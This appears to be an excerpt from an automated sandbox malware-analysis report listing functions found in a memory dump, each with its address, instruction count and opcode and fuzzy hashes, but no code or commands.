                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 420a2db04d02b69b78783ed328c68d41fb9b8f9358b41e03bfd94a80306fd8a2
                                                                                                                              • Instruction ID: f2a2b59f631536052c23299a5865a6c246d57a7a14e97d54666eb61070d6fe7e
                                                                                                                              • Opcode Fuzzy Hash: 420a2db04d02b69b78783ed328c68d41fb9b8f9358b41e03bfd94a80306fd8a2
                                                                                                                              • Instruction Fuzzy Hash: 3C913F75A042098FCF04DFA8D894AADBBB2FF88314F1445A9DA05EB355EB30ED85CB40
                                                                                                                              Function 05BFD510 Relevance: .2, Instructions: 219COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: a94797f52e8a11095a17cae49613a31cbfd4e38cda17f8a9463ccf94f492c6fd
                                                                                                                              • Instruction ID: c67511b8f675c72834c1cc5166de94be1a57f631fd954b76566fd43beec253f5
                                                                                                                              • Opcode Fuzzy Hash: a94797f52e8a11095a17cae49613a31cbfd4e38cda17f8a9463ccf94f492c6fd
                                                                                                                              • Instruction Fuzzy Hash: B081B138710614CFCB14EF28D598A697BF6FF89A05B1541A9E606CB376DB71EC05CB80
                                                                                                                              Function 05BFE200 Relevance: .2, Instructions: 210COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: a2c11f55088717c4e65fb385f1cf9c8b8dbe67e081ff52ca47a9947e7725b3a5
                                                                                                                              • Instruction ID: c27d1ce4cd22e295f25ad4cdb4da94115d165176d8af4afc2f25b57926f8a360
                                                                                                                              • Opcode Fuzzy Hash: a2c11f55088717c4e65fb385f1cf9c8b8dbe67e081ff52ca47a9947e7725b3a5
                                                                                                                              • Instruction Fuzzy Hash: 1C816235A10608DFCB05DFA4D8589ADBBB5FF89300F1585A9E502AB374EB70E949CF90
                                                                                                                              Function 05BFF370 Relevance: .2, Instructions: 208COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: c49d7727f9e97c22f04bf4b1b676250f0172d1ec8cd5c2639087bf3047307f5e
                                                                                                                              • Instruction ID: 4975ce2d757b25ef7c2973ea1f902c4507182c89dc3f2a24d99520ff9dd2187e
                                                                                                                              • Opcode Fuzzy Hash: c49d7727f9e97c22f04bf4b1b676250f0172d1ec8cd5c2639087bf3047307f5e
                                                                                                                              • Instruction Fuzzy Hash: D7819F35B002058FCB54DFA8D484ABEBBF2FF89310F5580F9D549AB251DB30A989CB95
                                                                                                                              Function 05BF73C0 Relevance: .2, Instructions: 183COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 094ed6aabf631f20f86031511e7638049238c2da743a0dac7b159ffa5d73795f
                                                                                                                              • Instruction ID: d72146415c1f80c8618eeadd07de94b62f6230aa2cb16dc51826c98a1330b8f4
                                                                                                                              • Opcode Fuzzy Hash: 094ed6aabf631f20f86031511e7638049238c2da743a0dac7b159ffa5d73795f
                                                                                                                              • Instruction Fuzzy Hash: 7E714C31E00609CFDF14DFA9D8546ADBBB2FF88305F1485A9E506A7291EF34E949CB90
                                                                                                                              Function 05BF11A4 Relevance: .2, Instructions: 171COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 1f238dcdc8dc4dd87388bbbc37bb013da04e4d5de65e0e352c0ae214b21bad6f
                                                                                                                              • Instruction ID: 1e8c2c523f2497dd484b85e8477c4507507c798a5d7d3b90eef32c8e5b4a0273
                                                                                                                              • Opcode Fuzzy Hash: 1f238dcdc8dc4dd87388bbbc37bb013da04e4d5de65e0e352c0ae214b21bad6f
                                                                                                                              • Instruction Fuzzy Hash: 0941D374E11218EFCB14DFA4E9445AEFBB2FF84301F1488AAE542A3351DB30AC59CB50
                                                                                                                              Function 05BF3E70 Relevance: .2, Instructions: 168COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 5db92006248c3e1c5bbb36a445bbb6dadf62b727ac0cfd0c610d0c718ef13589
                                                                                                                              • Instruction ID: 4bba467125c6956090a2a2eb4f3bc0f881058460fb501fe0a17482b1a8735b1e
                                                                                                                              • Opcode Fuzzy Hash: 5db92006248c3e1c5bbb36a445bbb6dadf62b727ac0cfd0c610d0c718ef13589
                                                                                                                              • Instruction Fuzzy Hash: 52718C74A01608AFCB15DF69D888DAEBBB6FF48714F114498FA05AB361DB31EC85CB50
                                                                                                                              Function 05BF4920 Relevance: .2, Instructions: 156COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: c6fb54574cd9540670f6bd5c7674dd3542115948f8c005339bc08009b3bee0c8
                                                                                                                              • Instruction ID: f7f1976328685e3616c05a114a4a969f9ace63461cca9220cc15f66fa2eacde1
                                                                                                                              • Opcode Fuzzy Hash: c6fb54574cd9540670f6bd5c7674dd3542115948f8c005339bc08009b3bee0c8
                                                                                                                              • Instruction Fuzzy Hash: 1A518236A0061A8FCF10CFA4D8406EFB7B6FF45711F0544A6EA05AB161DB75F90ACB90
                                                                                                                              Function 05BF0FE0 Relevance: .2, Instructions: 154COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: fd84a76f42d7819a230e2700ffc27bacdc7f0ed718f1e92d57992dff5d23adb4
                                                                                                                              • Instruction ID: a4d42bdf2f2c8eba82e080c5ebb688c421e40659eb73cb7962472658df813b64
                                                                                                                              • Opcode Fuzzy Hash: fd84a76f42d7819a230e2700ffc27bacdc7f0ed718f1e92d57992dff5d23adb4
                                                                                                                              • Instruction Fuzzy Hash: 9F514F71E00249DBCB14DFAEC944AAFBFF9EF88300F10886AE515E7355EA749905CB94
                                                                                                                              Function 05BFC248 Relevance: .1, Instructions: 147COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 493b2c8c6441ecbf5280a74fc85ddca5ac5464878c404c643329ef173257b28c
                                                                                                                              • Instruction ID: 1f80277066f274e016e92f3a3bfd35f7918a410d2740c63bf3dc92a132bfcabc
                                                                                                                              • Opcode Fuzzy Hash: 493b2c8c6441ecbf5280a74fc85ddca5ac5464878c404c643329ef173257b28c
                                                                                                                              • Instruction Fuzzy Hash: 8C514C75A042098FCF05DFA8D890AEDBBB2FF49354F1442A9DA05AB355EB30E895CB50
                                                                                                                              Function 05BFBE00 Relevance: .1, Instructions: 144COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 2b912f2b1964998732a5614cfb3185df726529e069898507ade785ce720c95cb
                                                                                                                              • Instruction ID: 40c36dc77c97f6236b0621e4fdadf86a82a8d30fc7b8fa140a3d3be33e33e498
                                                                                                                              • Opcode Fuzzy Hash: 2b912f2b1964998732a5614cfb3185df726529e069898507ade785ce720c95cb
                                                                                                                              • Instruction Fuzzy Hash: 28510B31A042558FDB14DB68DC51BBEBBB2FF85304F1848A5D206A7391CB79BC46DB90
                                                                                                                              Function 05BF3E60 Relevance: .1, Instructions: 122COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 82e74cc36c4fbef3995313806395b551337378b908ccaf0dd055f2899a5aa221
                                                                                                                              • Instruction ID: 3e2828a7718eb4f5cf65481a9b82d645f71d1a66ce9816b16354a937982215d1
                                                                                                                              • Opcode Fuzzy Hash: 82e74cc36c4fbef3995313806395b551337378b908ccaf0dd055f2899a5aa221
                                                                                                                              • Instruction Fuzzy Hash: B651A338A00248EFCB15DF68D898DAEBBB2FF49714B114498FA059B361DB31EC81CB50
                                                                                                                              Function 05BF6E80 Relevance: .1, Instructions: 118COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: c7d862e5bbf0b1493ee9707446a290d485a0e613da4a5079c8371db3e3252509
                                                                                                                              • Instruction ID: 1212d3be260ba5c2ebd0fa185e24c294afb09f54cf37c98497fbd31b0846dc7a
                                                                                                                              • Opcode Fuzzy Hash: c7d862e5bbf0b1493ee9707446a290d485a0e613da4a5079c8371db3e3252509
                                                                                                                              • Instruction Fuzzy Hash: 8F41FA34B042289FDB54DF68C855BDDB7B1FF49304F114099EA05AB3A1DB79AC05CB64
                                                                                                                              Function 05BFDAC8 Relevance: .1, Instructions: 106COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: faacecdac512729ef136c0a896e19e6748672f313ff75bbfd59b605424f8f3e9
                                                                                                                              • Instruction ID: 0d2f3bcc14e15ae2982beea1c7e61f67bfd2aa0be8a83e3eb7c5ec3432d7c696
                                                                                                                              • Opcode Fuzzy Hash: faacecdac512729ef136c0a896e19e6748672f313ff75bbfd59b605424f8f3e9
                                                                                                                              • Instruction Fuzzy Hash: 5F415035910609DFCF04EFA8D944AEDBBB1FF49301F1086A9E64577250EB30AA99CB90
                                                                                                                              Function 05BFD502 Relevance: .1, Instructions: 104COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 8ee15fc7d0c14e0a6d03c881e4de6f2b8b64063ec56105a2aa5efb667b58d9d0
                                                                                                                              • Instruction ID: d5868309f5b6ccdd742f21e2b8b32520679e9494c276176a2c3d9277d9b5a1dc
                                                                                                                              • Opcode Fuzzy Hash: 8ee15fc7d0c14e0a6d03c881e4de6f2b8b64063ec56105a2aa5efb667b58d9d0
                                                                                                                              • Instruction Fuzzy Hash: 663163347142808FCB16DB38D8949AD7BF5AF8A61071941DAE552CF372DB31EC06CB91
                                                                                                                              Function 05BF101C Relevance: .1, Instructions: 99COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: af5af5e7ca2b005ce988402a25aed53d5719c9a784e1325e4c38bcb8aeb36760
                                                                                                                              • Instruction ID: 322d184588dba35baa4a0e26c0e3da5431088d6dadfaeb39b10a4f10e08a10e0
                                                                                                                              • Opcode Fuzzy Hash: af5af5e7ca2b005ce988402a25aed53d5719c9a784e1325e4c38bcb8aeb36760
                                                                                                                              • Instruction Fuzzy Hash: DC41D1B1D00309DBDB20CFAAC584A9DFBB5BF48304F24846AD509BB214D7756A4ACF90
                                                                                                                              Function 05BF18A5 Relevance: .1, Instructions: 97COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: cb82b91bfb9713d8b51e42106f33d5e4e25bbfc4f5a081cb7b70424029efccb3
                                                                                                                              • Instruction ID: d9655f3297772e193e1190e5d9a97e826fde542f0cf38ef9ac9069b959408849
                                                                                                                              • Opcode Fuzzy Hash: cb82b91bfb9713d8b51e42106f33d5e4e25bbfc4f5a081cb7b70424029efccb3
                                                                                                                              • Instruction Fuzzy Hash: 7741BFB1D00209CBDB24CFEAC584ADDBBB5BF48304F64846AD509BB254E7756A4ACF90
                                                                                                                              Function 05BF0FD4 Relevance: .1, Instructions: 95COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: b2918fcda3848011be58276e039782080241b2b251a194c8f95f87875d473d08
                                                                                                                              • Instruction ID: f66b943c6974feb56347bbae420902d64543634f79b9757976f4ce8c8de4cd8b
                                                                                                                              • Opcode Fuzzy Hash: b2918fcda3848011be58276e039782080241b2b251a194c8f95f87875d473d08
                                                                                                                              • Instruction Fuzzy Hash: 7E41BCB0D10358DBDB14CFAAC884A9EFBB1FF88710F24866AE419BB254D7706845CF95
                                                                                                                              Function 05BFF078 Relevance: .1, Instructions: 94COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: e1a4d8e288c72f95a4e4ffc026b3c7f64b3d5b50d77a09e7233b61756166917e
                                                                                                                              • Instruction ID: 8ff3300d3b97006f90d9cc2dd94ee4f177dc7d9a75eb713ae0d45492f5daaea0
                                                                                                                              • Opcode Fuzzy Hash: e1a4d8e288c72f95a4e4ffc026b3c7f64b3d5b50d77a09e7233b61756166917e
                                                                                                                              • Instruction Fuzzy Hash: C5310F71604604CBCB14DF28D8851AABB72FF81304F2488BDE286CB355D736E85AC7A4
                                                                                                                              Function 05BFBD81 Relevance: .1, Instructions: 93COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 11af314d0128dca01c6688a494c5f23cea8c9ab59fe27cc1e05a37d750ebc57d
                                                                                                                              • Instruction ID: 698715fe91eba96d8d709f322ecd8a4791ca75d3ca94198a2f0d91bf3b9eddaf
                                                                                                                              • Opcode Fuzzy Hash: 11af314d0128dca01c6688a494c5f23cea8c9ab59fe27cc1e05a37d750ebc57d
                                                                                                                              • Instruction Fuzzy Hash: 2031E171D4A3958FC701CF68D8906B9BBB1FF46310B9A08E6C148EB262D7356C54CB90
                                                                                                                              Function 05BFF948 Relevance: .1, Instructions: 92COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: e58c5553384de949056e36d354909a42ae999428910741c08ce12444fc6d2d9e
                                                                                                                              • Instruction ID: 96b69dd64c21a677348c8879dd2fbbf9d09be0fedbfe78a7ba3b0a167baae0c6
                                                                                                                              • Opcode Fuzzy Hash: e58c5553384de949056e36d354909a42ae999428910741c08ce12444fc6d2d9e
                                                                                                                              • Instruction Fuzzy Hash: FA312371608640CFC715EF38D8850BEBF31FF85204B2488ADD1868B252D736E95EC7A1
                                                                                                                              Function 05BFCDF1 Relevance: .1, Instructions: 90COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 0ada9dfea20c0c432b3ee9ecb8958c1b0a7d1749cc5adcae96d5b0b7f11a3c69
                                                                                                                              • Instruction ID: e495d4df5dedfd59c7f11c091b82b726367a1de94fdd8e8c5ae14c244e647aff
                                                                                                                              • Opcode Fuzzy Hash: 0ada9dfea20c0c432b3ee9ecb8958c1b0a7d1749cc5adcae96d5b0b7f11a3c69
                                                                                                                              • Instruction Fuzzy Hash: 6F217E313497448BC3269B349560936BFB6BF8630071848ADDA86CB7A6EF25EC4AC711
                                                                                                                              Function 05BF3DA1 Relevance: .1, Instructions: 88COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 3941484b5b4473db8ec86247d94e8771906e93244834e130cefda2fd9e15f35d
                                                                                                                              • Instruction ID: 2e77ab5694c90129b1094647299a76928e2af1127e03281e84a963038ead62db
                                                                                                                              • Opcode Fuzzy Hash: 3941484b5b4473db8ec86247d94e8771906e93244834e130cefda2fd9e15f35d
                                                                                                                              • Instruction Fuzzy Hash: 3D31C37A6042449FC7219E14C481FBA7BF6FF94710F154499E7058B762D736F852CB60
                                                                                                                              Function 05BF4CA4 Relevance: .1, Instructions: 88COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: f7fb15c2dd660dd49538cdff1368f897ed32abd0d5552c6632099839814d8fe5
                                                                                                                              • Instruction ID: 87a62de96ad836c3b56f592eba3f081670321e413cdb5aeb75b11e9e74209a50
                                                                                                                              • Opcode Fuzzy Hash: f7fb15c2dd660dd49538cdff1368f897ed32abd0d5552c6632099839814d8fe5
                                                                                                                              • Instruction Fuzzy Hash: 50312735A50219DFCB04DFA8D885DEDB7B5FF88700F1185A9E905AB361C730AC14CB54
                                                                                                                              Function 05BFC068 Relevance: .1, Instructions: 87COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 3f7744370d737248d06520114602e3dcaff5958fd34f8d388fc97a5614cca464
                                                                                                                              • Instruction ID: 94530958cb76d117ae39c0146e9adc0d339349344e9d3ea50d61d6b3c296fdd7
                                                                                                                              • Opcode Fuzzy Hash: 3f7744370d737248d06520114602e3dcaff5958fd34f8d388fc97a5614cca464
                                                                                                                              • Instruction Fuzzy Hash: 8A21F7367046044FEB258B74C8915BE7FE6FF84220B2880A6D247D3751D638FD96C761
                                                                                                                              Function 05BF62E8 Relevance: .1, Instructions: 86COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: a819c6522216e7a25b5bedc257e2fbfcce710ae9a592be9e454a89963dc0a87d
                                                                                                                              • Instruction ID: c3a31db8be0025e4982ccbd6f5e873b808acab42f546221938175bae476d10b4
                                                                                                                              • Opcode Fuzzy Hash: a819c6522216e7a25b5bedc257e2fbfcce710ae9a592be9e454a89963dc0a87d
                                                                                                                              • Instruction Fuzzy Hash: EF219D367142048FCB08DF6DD40896E77EAEF8862471540EAEA0ACB371EE31EC05CB90
                                                                                                                              Function 05BF1A28 Relevance: .1, Instructions: 81COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 05f85465845fb9328a49b937fa2074f8232abfb7891c8cb17989ae11cfb77902
                                                                                                                              • Instruction ID: 97fc6d5c5dacc56848b53fc17fc86527fa03bc922fd7c752cc6d04508cadeeb2
                                                                                                                              • Opcode Fuzzy Hash: 05f85465845fb9328a49b937fa2074f8232abfb7891c8cb17989ae11cfb77902
                                                                                                                              • Instruction Fuzzy Hash: 5E217171F00155DBDB11DBADC944AFFBBFAEFC4240F14856AD614E3255EA30AA09CB90
                                                                                                                              Function 05BF17A8 Relevance: .1, Instructions: 80COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 729bd79377b9c6085c62758d63dd56275ae14acbe39fe51452e7da4a78bdd4c1
                                                                                                                              • Instruction ID: 3b06e09f72df0292d07022a8348c9450ba5d5617cd66bdf443e954f527e8e3ac
                                                                                                                              • Opcode Fuzzy Hash: 729bd79377b9c6085c62758d63dd56275ae14acbe39fe51452e7da4a78bdd4c1
                                                                                                                              • Instruction Fuzzy Hash: 4121B4716003448FC710DB79D4599ABBBF6EF84304714C8A9E60A9B355EF71E809CB91
                                                                                                                              Function 05BFC078 Relevance: .1, Instructions: 79COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: af291f15dc2790ef4659564f7e7fdb9b55e4861e4484299e9bca86a25f47c7b9
